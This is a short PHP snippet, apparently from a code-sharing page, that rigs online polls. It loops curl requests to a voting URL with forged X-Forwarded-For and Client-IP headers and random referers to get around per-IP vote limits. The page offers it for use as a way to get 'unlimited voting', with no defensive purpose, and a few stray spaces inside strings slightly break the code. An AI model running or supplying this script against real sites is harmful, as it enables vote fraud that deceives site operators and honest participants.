Voting on many websites is based on IP address. Different IP addresses can vote once a day
The following code uses curl extension to forge IP addresses to achieve unlimited voting;
- $times = $_POST['times']; //Number of votes
- $url = $_POST['url']; / /Voting address [link to the voting button below a player]
- while ($times)
- {
- $ip1 = 'X-FORWARDED-FOR:'.rand(115,225).'.'.rand(115,225).'. '.rand(115,225).'.'.rand(115,225);
- $ip2 = 'CLIENT-IP:'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225). '.'.rand(115,225);
- $arr = array('a','b','c','d','e','f','g','h','i' ,'j','k','l','m','n','o','p','q','r','s','t','u',' v','w','x','y','z');
- $from = "http://www.".$arr[rand(0,25)].".com/";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_HTTPHEADER, array($ip1, $ip2));
- curl_setopt($ch, CURLOPT_REFERER, $from);
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_exec($ch);
- curl_close($ch);
- $times--;
- }
- return ;
Copy code
|